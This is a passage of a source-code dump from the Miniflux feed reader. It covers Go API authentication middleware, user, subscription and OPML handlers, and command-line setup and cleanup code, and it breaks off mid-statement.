http.ResponseWriter, r *http.Request) {\n\t\tclientIP := request.ClientIP(r)\n\t\ttoken := r.Header.Get(\"X-Auth-Token\")\n\n\t\tif token == \"\" {\n\t\t\tslog.Debug(\"[API] Skipped API token authentication because no API Key has been provided\",\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t\t)\n\t\t\tnext.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tuser, err := m.store.UserByAPIKey(token)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tif user == nil {\n\t\t\tslog.Warn(\"[API] No user found with the provided API key\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t\t)\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tslog.Info(\"[API] User authenticated successfully with the API Token Authentication\",\n\t\t\tslog.Bool(\"authentication_successful\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.String(\"username\", user.Username),\n\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t)\n\n\t\tm.store.SetLastLogin(user.ID)\n\t\tm.store.SetAPIKeyUsedTimestamp(user.ID, token)\n\n\t\tctx := r.Context()\n\t\tctx = context.WithValue(ctx, request.UserIDContextKey, user.ID)\n\t\tctx = context.WithValue(ctx, request.UserTimezoneContextKey, user.Timezone)\n\t\tctx = context.WithValue(ctx, request.IsAdminUserContextKey, user.IsAdmin)\n\t\tctx = context.WithValue(ctx, request.IsAuthenticatedContextKey, true)\n\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n\nfunc (m *middleware) validateBasicAuth(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif request.IsAuthenticated(r) {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Set(\"WWW-Authenticate\", `Basic realm=\"Restricted\"`)\n\n\t\tclientIP := request.ClientIP(r)\n\t\tusername, password, authOK := r.BasicAuth()\n\t\tif !authOK {\n\t\t\tslog.Warn(\"[API] No Basic HTTP Authentication header sent with the request\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t\t)\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tif username == \"\" || password == \"\" {\n\t\t\tslog.Warn(\"[API] Empty username or password provided during Basic HTTP Authentication\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t\t)\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tif err := m.store.CheckPassword(username, password); err != nil {\n\t\t\tslog.Warn(\"[API] Invalid username or password provided during Basic HTTP Authentication\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"username\", username),\n\t\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t\t)\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tuser, err := m.store.UserByUsername(username)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tif user == nil {\n\t\t\tslog.Warn(\"[API] User not found while using Basic HTTP Authentication\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"username\", username),\n\t\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t\t)\n\t\t\tresponse.JSONUnauthorized(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tslog.Info(\"[API] User authenticated successfully with the Basic HTTP Authentication\",\n\t\t\tslog.Bool(\"authentication_successful\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.String(\"username\", username),\n\t\t\tslog.String(\"request_uri\", r.RequestURI),\n\t\t)\n\n\t\tm.store.SetLastLogin(user.ID)\n\n\t\tctx := r.Context()\n\t\tctx = context.WithValue(ctx, request.UserIDContextKey, user.ID)\n\t\tctx = context.WithValue(ctx, request.UserTimezoneContextKey, user.Timezone)\n\t\tctx = context.WithValue(ctx, request.IsAdminUserContextKey, user.IsAdmin)\n\t\tctx = context.WithValue(ctx, request.IsAuthenticatedContextKey, true)\n\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n"
  },
  {
    "path": "internal/api/opml_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/reader/opml\"\n)\n\nfunc (h *handler) exportFeedsHandler(w http.ResponseWriter, r *http.Request) {\n\topmlHandler := opml.NewHandler(h.store)\n\topmlExport, err := opmlHandler.Export(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.XML(w, r, opmlExport)\n}\n\nfunc (h *handler) importFeedsHandler(w http.ResponseWriter, r *http.Request) {\n\topmlHandler := opml.NewHandler(h.store)\n\terr := opmlHandler.Import(request.UserID(r), r.Body)\n\tdefer r.Body.Close()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, importFeedsResponse{Message: \"Feeds imported successfully\"})\n}\n"
  },
  {
    "path": "internal/api/subscription_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/subscription\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) discoverSubscriptionsHandler(w http.ResponseWriter, r *http.Request) {\n\tvar subscriptionDiscoveryRequest model.SubscriptionDiscoveryRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&subscriptionDiscoveryRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif validationErr := validator.ValidateSubscriptionDiscovery(&subscriptionDiscoveryRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tvar rssbridgeURL string\n\tvar rssbridgeToken string\n\tintg, err := h.store.Integration(request.UserID(r))\n\tif err == nil && intg != nil && intg.RSSBridgeEnabled {\n\t\trssbridgeURL = intg.RSSBridgeURL\n\t\trssbridgeToken = intg.RSSBridgeToken\n\t}\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(subscriptionDiscoveryRequest.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(subscriptionDiscoveryRequest.FetchViaProxy)\n\trequestBuilder.WithUserAgent(subscriptionDiscoveryRequest.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(subscriptionDiscoveryRequest.Cookie)\n\trequestBuilder.WithUsernameAndPassword(subscriptionDiscoveryRequest.Username, subscriptionDiscoveryRequest.Password)\n\trequestBuilder.IgnoreTLSErrors(subscriptionDiscoveryRequest.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(subscriptionDiscoveryRequest.DisableHTTP2)\n\n\tsubscriptions, localizedError := subscription.NewSubscriptionFinder(requestBuilder).FindSubscriptions(\n\t\tsubscriptionDiscoveryRequest.URL,\n\t\trssbridgeURL,\n\t\trssbridgeToken,\n\t)\n\n\tif localizedError != nil {\n\t\tresponse.JSONServerError(w, r, localizedError.Error())\n\t\treturn\n\t}\n\n\tif len(subscriptions) == 0 {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, subscriptions)\n}\n"
  },
  {
    "path": "internal/api/user_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"errors\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) currentUserHandler(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, user)\n}\n\nfunc (h *handler) createUserHandler(w http.ResponseWriter, r *http.Request) {\n\tif !request.IsAdminUser(r) {\n\t\tresponse.JSONForbidden(w, r)\n\t\treturn\n\t}\n\n\tvar userCreationRequest model.UserCreationRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&userCreationRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif validationErr := validator.ValidateUserCreationWithPassword(h.store, &userCreationRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tuser, err := h.store.CreateUser(&userCreationRequest)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, user)\n}\n\nfunc (h *handler) updateUserHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.RouteInt64Param(r, \"userID\")\n\tif userID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid user ID\"))\n\t\treturn\n\t}\n\n\tvar userModificationRequest model.UserModificationRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&userModificationRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\toriginalUser, err := h.store.UserByID(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif originalUser == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif !request.IsAdminUser(r) {\n\t\tif originalUser.ID != request.UserID(r) {\n\t\t\tresponse.JSONForbidden(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tif userModificationRequest.IsAdmin != nil && *userModificationRequest.IsAdmin {\n\t\t\tresponse.JSONBadRequest(w, r, errors.New(\"only administrators can change permissions of standard users\"))\n\t\t\treturn\n\t\t}\n\t}\n\n\tif validationErr := validator.ValidateUserModification(h.store, originalUser.ID, &userModificationRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tuserModificationRequest.Patch(originalUser)\n\tif err = h.store.UpdateUser(originalUser); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, originalUser)\n}\n\nfunc (h *handler) markUserAsReadHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.RouteInt64Param(r, \"userID\")\n\tif userID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid user ID\"))\n\t\treturn\n\t}\n\n\tif userID != request.UserID(r) {\n\t\tresponse.JSONForbidden(w, r)\n\t\treturn\n\t}\n\n\tif _, err := h.store.UserByID(userID); err != nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.MarkAllAsRead(userID); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) getIntegrationsStatusHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tif _, err := h.store.UserByID(userID); err != nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\thasIntegrations := h.store.HasSaveEntry(userID)\n\n\tresponse.JSON(w, r, integrationsStatusResponse{HasIntegrations: hasIntegrations})\n}\n\nfunc (h *handler) usersHandler(w http.ResponseWriter, r *http.Request) {\n\tif !request.IsAdminUser(r) {\n\t\tresponse.JSONForbidden(w, r)\n\t\treturn\n\t}\n\n\tusers, err := h.store.Users()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tusers.UseTimezone(request.UserTimezone(r))\n\tresponse.JSON(w, r, users)\n}\n\nfunc (h *handler) dispatchUserLookupHandler(w http.ResponseWriter, r *http.Request) {\n\tidentifier := request.RouteStringParam(r, \"identifier\")\n\tuserID := request.RouteInt64Param(r, \"identifier\")\n\tif userID > 0 {\n\t\tr.SetPathValue(\"userID\", identifier)\n\t\th.userByIDHandler(w, r)\n\t\treturn\n\t}\n\n\tr.SetPathValue(\"username\", identifier)\n\th.userByUsernameHandler(w, r)\n}\n\nfunc (h *handler) userByIDHandler(w http.ResponseWriter, r *http.Request) {\n\tif !request.IsAdminUser(r) {\n\t\tresponse.JSONForbidden(w, r)\n\t\treturn\n\t}\n\n\tuserID := request.RouteInt64Param(r, \"userID\")\n\tif userID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid user ID\"))\n\t\treturn\n\t}\n\n\tuser, err := h.store.UserByID(userID)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"unable to fetch this user from the database\"))\n\t\treturn\n\t}\n\n\tif user == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuser.UseTimezone(request.UserTimezone(r))\n\tresponse.JSON(w, r, user)\n}\n\nfunc (h *handler) userByUsernameHandler(w http.ResponseWriter, r *http.Request) {\n\tif !request.IsAdminUser(r) {\n\t\tresponse.JSONForbidden(w, r)\n\t\treturn\n\t}\n\n\tusername := request.RouteStringParam(r, \"username\")\n\tuser, err := h.store.UserByUsername(username)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"unable to fetch this user from the database\"))\n\t\treturn\n\t}\n\n\tif user == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, user)\n}\n\nfunc (h *handler) removeUserHandler(w http.ResponseWriter, r *http.Request) {\n\tif !request.IsAdminUser(r) {\n\t\tresponse.JSONForbidden(w, r)\n\t\treturn\n\t}\n\n\tuserID := request.RouteInt64Param(r, \"userID\")\n\tif userID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid user ID\"))\n\t\treturn\n\t}\n\n\tuser, err := h.store.UserByID(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif user == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif user.ID == request.UserID(r) {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"you cannot remove yourself\"))\n\t\treturn\n\t}\n\n\th.store.RemoveUserAsync(user.ID)\n\tresponse.NoContent(w, r)\n}\n"
  },
  {
    "path": "internal/api/version_handler.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nfunc (h *handler) versionHandler(w http.ResponseWriter, r *http.Request) {\n\tresponse.JSON(w, r, &versionResponse{\n\t\tVersion:   version.Version,\n\t\tCommit:    version.Commit,\n\t\tBuildDate: version.BuildDate,\n\t\tGoVersion: runtime.Version(),\n\t\tCompiler:  runtime.Compiler,\n\t\tArch:      runtime.GOARCH,\n\t\tOS:        runtime.GOOS,\n\t})\n}\n"
  },
  {
    "path": "internal/cli/ask_credentials.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"golang.org/x/term\"\n)\n\nfunc askCredentials() (string, string) {\n\tfd := int(os.Stdin.Fd())\n\n\tif !term.IsTerminal(fd) {\n\t\tprintErrorAndExit(errors.New(\"this is not an interactive terminal, exiting\"))\n\t}\n\n\tfmt.Print(\"Enter Username: \")\n\n\treader := bufio.NewReader(os.Stdin)\n\tusername, err := reader.ReadString('\\n')\n\tif err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to read username: %w\", err))\n\t}\n\n\tfmt.Print(\"Enter Password: \")\n\n\tstate, err := term.GetState(fd)\n\tif err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to get terminal state: %w\", err))\n\t}\n\tdefer func() {\n\t\tif restoreErr := term.Restore(fd, state); restoreErr != nil {\n\t\t\tprintErrorAndExit(fmt.Errorf(\"unable to restore terminal state: %w\", restoreErr))\n\t\t}\n\t}()\n\n\tbytePassword, err := term.ReadPassword(fd)\n\tif err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to read password: %w\", err))\n\t}\n\n\tfmt.Print(\"\\n\")\n\treturn strings.TrimSpace(username), strings.TrimSpace(string(bytePassword))\n}\n"
  },
  {
    "path": "internal/cli/cleanup_tasks.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"log/slog\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/metric\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nfunc runCleanupTasks(store *storage.Storage) {\n\tnbSessions := store.CleanOldSessions(config.Opts.CleanupRemoveSessionsInterval())\n\tnbUserSessions := store.CleanOldUserSessions(config.Opts.CleanupRemoveSessionsInterval())\n\tslog.Info(\"Sessions cleanup completed\",\n\t\tslog.Int64(\"application_sessions_removed\", nbSessions),\n\t\tslog.Int64(\"user_sessions_removed\", nbUserSessions),\n\t)\n\n\tstartTime := time.Now()\n\tif rowsAffected, err := store.ArchiveEntries(model.EntryStatusRead, config.Opts.CleanupArchiveReadInterval(), config.Opts.CleanupArchiveBatchSize()); err != nil {\n\t\tslog.Error(\"Unable to archive read entries\", slog.Any(\"error\", err))\n\t} else {\n\t\tslog.Info(\"Archiving read entries completed\",\n\t\t\tslog.Int64(\"read_entries_archived\", rowsAffected),\n\t\t)\n\n\t\tif config.Opts.HasMetricsCollector() {\n\t\t\tmetric.ArchiveEntriesDuration.WithLabelValues(model.EntryStatusRead).Observe(time.Since(startTime).Seconds())\n\t\t}\n\t}\n\n\tstartTime = time.Now()\n\tif rowsAffected, err := store.ArchiveEntries(model.EntryStatusUnread, config.Opts.CleanupArchiveUnreadInterval(), config.Opts.CleanupArchiveBatchSize()); err != nil {\n\t\tslog.Error(\"Unable to archive unread entries\", slog.Any(\"error\", err))\n\t} else {\n\t\tslog.Info(\"Archiving unread entries completed\",\n\t\t\tslog.Int64(\"unread_entries_archived\", rowsAffected),\n\t\t)\n\n\t\tif config.Opts.HasMetricsCollector() {\n\t\t\tmetric.ArchiveEntriesDuration.WithLabelValues(model.EntryStatusUnread).Observe(time.Since(startTime).Seconds())\n\t\t}\n\t}\n\n\tif enclosuresAffected, err := store.DeleteEnclosuresOfRemovedEntries(); err != nil {\n\t\tslog.Error(\"Unable to delete enclosures from removed entries\", slog.Any(\"error\", err))\n\t} else {\n\t\tslog.Info(\"Deleting enclosures from removed entries completed\",\n\t\t\tslog.Int64(\"removed_entries_enclosures_deleted\", enclosuresAffected))\n\t}\n\n\tif contentAffected, err := store.ClearRemovedEntriesContent(config.Opts.CleanupArchiveBatchSize()); err != nil {\n\t\tslog.Error(\"Unable to clear content from removed entries\", slog.Any(\"error\", err))\n\t} else {\n\t\tslog.Info(\"Clearing content from removed entries completed\",\n\t\t\tslog.Int64(\"removed_entries_content_cleared\", contentAffected))\n\t}\n}\n"
  },
  {
    "path": "internal/cli/cli.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/database\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/static\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst (\n\tflagInfoHelp             = \"Show build information\"\n\tflagVersionHelp          = \"Show application version\"\n\tflagMigrateHelp          = \"Run SQL migrations\"\n\tflagFlushSessionsHelp    = \"Flush all sessions (disconnect users)\"\n\tflagCreateAdminHelp      = \"Create an admin user from an interactive terminal\"\n\tflagResetPasswordHelp    = \"Reset user password\"\n\tflagResetFeedErrorsHelp  = \"Clear all feed errors for all users\"\n\tflagDebugModeHelp        = \"Show debug logs\"\n\tflagConfigFileHelp       = \"Load configuration file\"\n\tflagConfigDumpHelp       = \"Print parsed configuration values\"\n\tflagHealthCheckHelp      = `Perform a health check on the given endpoint (the value \"auto\" tries to guess the health check endpoint).`\n\tflagRefreshFeedsHelp     = \"Refresh a batch of feeds and exit\"\n\tflagRunCleanupTasksHelp  = \"Run cleanup tasks (delete old sessions and archive old entries)\"\n\tflagExportUserFeedsHelp  = \"Export user feeds (provide the username as argument)\"\n\tflagResetNextCheckAtHelp = \"Reset the next check time for all feeds\"\n)\n\n// Parse parses command line arguments.\nfunc Parse() {\n\tvar (\n\t\terr                      error\n\t\tflagInfo                 bool\n\t\tflagVersion              bool\n\t\tflagMigrate              bool\n\t\tflagFlushSessions        bool\n\t\tflagCreateAdmin          bool\n\t\tflagResetPassword        bool\n\t\tflagResetFeedErrors      bool\n\t\tflagResetFeedNextCheckAt bool\n\t\tflagDebugMode            bool\n\t\tflagConfigFile           string\n\t\tflagConfigDump           bool\n\t\tflagHealthCheck          string\n\t\tflagRefreshFeeds         bool\n\t\tflagRunCleanupTasks      bool\n\t\tflagExportUserFeeds      string\n\t)\n\n\tflag.BoolVar(&flagInfo, \"info\", false, flagInfoHelp)\n\tflag.BoolVar(&flagInfo, \"i\", false, flagInfoHelp)\n\tflag.BoolVar(&flagVersion, \"version\", false, flagVersionHelp)\n\tflag.BoolVar(&flagVersion, \"v\", false, flagVersionHelp)\n\tflag.BoolVar(&flagMigrate, \"migrate\", false, flagMigrateHelp)\n\tflag.BoolVar(&flagFlushSessions, \"flush-sessions\", false, flagFlushSessionsHelp)\n\tflag.BoolVar(&flagCreateAdmin, \"create-admin\", false, flagCreateAdminHelp)\n\tflag.BoolVar(&flagResetPassword, \"reset-password\", false, flagResetPasswordHelp)\n\tflag.BoolVar(&flagResetFeedErrors, \"reset-feed-errors\", false, flagResetFeedErrorsHelp)\n\tflag.BoolVar(&flagResetFeedNextCheckAt, \"reset-feed-next-check-at\", false, flagResetNextCheckAtHelp)\n\tflag.BoolVar(&flagDebugMode, \"debug\", false, flagDebugModeHelp)\n\tflag.StringVar(&flagConfigFile, \"config-file\", \"\", flagConfigFileHelp)\n\tflag.StringVar(&flagConfigFile, \"c\", \"\", flagConfigFileHelp)\n\tflag.BoolVar(&flagConfigDump, \"config-dump\", false, flagConfigDumpHelp)\n\tflag.StringVar(&flagHealthCheck, \"healthcheck\", \"\", flagHealthCheckHelp)\n\tflag.BoolVar(&flagRefreshFeeds, \"refresh-feeds\", false, flagRefreshFeedsHelp)\n\tflag.BoolVar(&flagRunCleanupTasks, \"run-cleanup-tasks\", false, flagRunCleanupTasksHelp)\n\tflag.StringVar(&flagExportUserFeeds, \"export-user-feeds\", \"\", flagExportUserFeedsHelp)\n\tflag.Parse()\n\n\tcfg := config.NewConfigParser()\n\n\tif flagConfigFile != \"\" {\n\t\tconfig.Opts, err = cfg.ParseFile(flagConfigFile)\n\t\tif err != nil {\n\t\t\tprintErrorAndExit(err)\n\t\t}\n\t}\n\n\tconfig.Opts, err = cfg.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tprintErrorAndExit(err)\n\t}\n\n\tif oauth2Provider := config.Opts.OAuth2Provider(); oauth2Provider != \"\" {\n\t\tif oauth2Provider != \"oidc\" && oauth2Provider != \"google\" {\n\t\t\tprintErrorAndExit(fmt.Errorf(`unsupported OAuth2 provider: %q (Possible values are \"google\" or \"oidc\")`, oauth2Provider))\n\t\t}\n\t}\n\n\tif config.Opts.DisableLocalAuth() {\n\t\tswitch {\n\t\tcase config.Opts.OAuth2Provider() == \"\" && config.Opts.AuthProxyHeader() == \"\":\n\t\t\tprintErrorAndExit(errors.New(\"DISABLE_LOCAL_AUTH is enabled but neither OAUTH2_PROVIDER nor AUTH_PROXY_HEADER is not set. Please enable at least one authentication source\"))\n\t\tcase config.Opts.OAuth2Provider() != \"\" && !config.Opts.IsOAuth2UserCreationAllowed():\n\t\t\tprintErrorAndExit(errors.New(\"DISABLE_LOCAL_AUTH is enabled and an OAUTH2_PROVIDER is configured, but OAUTH2_USER_CREATION is not enabled\"))\n\t\tcase config.Opts.AuthProxyHeader() != \"\" && !config.Opts.IsAuthProxyUserCreationAllowed():\n\t\t\tprintErrorAndExit(errors.New(\"DISABLE_LOCAL_AUTH is enabled and an AUTH_PROXY_HEADER is configured, but AUTH_PROXY_USER_CREATION is not enabled\"))\n\t\t}\n\t}\n\n\tif config.Opts.AuthProxyHeader() != \"\" {\n\t\tif len(config.Opts.TrustedReverseProxyNetworks()) == 0 {\n\t\t\tprintErrorAndExit(errors.New(\"TRUSTED_REVERSE_PROXY_NETWORKS must be configured when AUTH_PROXY_HEADER is used\"))\n\t\t}\n\t}\n\n\tif flagConfigDump {\n\t\tfmt.Print(config.Opts)\n\t\treturn\n\t}\n\n\tif flagInfo {\n\t\tinfo()\n\t\treturn\n\t}\n\n\tif flagVersion {\n\t\tfmt.Println(version.Version)\n\t\treturn\n\t}\n\n\tif flagDebugMode {\n\t\tconfig.Opts.SetLogLevel(\"debug\")\n\t}\n\n\tlogFile := config.Opts.LogFile()\n\tvar logFileHandler io.Writer\n\tswitch logFile {\n\tcase \"stdout\":\n\t\tlogFileHandler = os.Stdout\n\tcase \"stderr\":\n\t\tlogFileHandler = os.Stderr\n\tdefault:\n\t\tlogFileHandler, err = os.OpenFile(logFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)\n\t\tif err != nil {\n\t\t\tprintErrorAndExit(fmt.Errorf(\"unable to open log file: %v\", err))\n\t\t}\n\t\tdefer logFileHandler.(*os.File).Close()\n\t}\n\n\tif err := InitializeDefaultLogger(config.Opts.LogLevel(), logFileHandler, config.Opts.LogFormat(), config.Opts.LogDateTime()); err != nil {\n\t\tprintErrorAndExit(err)\n\t}\n\n\tif flagHealthCheck != \"\" {\n\t\tdoHealthCheck(flagHealthCheck)\n\t\treturn\n\t}\n\n\tif config.Opts.IsDefaultDatabaseURL() {\n\t\tslog.Info(\"The default value for DATABASE_URL is used\")\n\t}\n\n\tif err := static.GenerateBinaryBundles(); err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to generate binary files bundle: %v\", err))\n\t}\n\n\tif err := static.GenerateStylesheetsBundles(); err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to generate stylesheets bundle: %v\", err))\n\t}\n\n\tif err := static.GenerateJavascriptBundles(config.Opts.WebAuthn()); err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to generate javascript bundle: %v\", err))\n\t}\n\n\tdb, err := 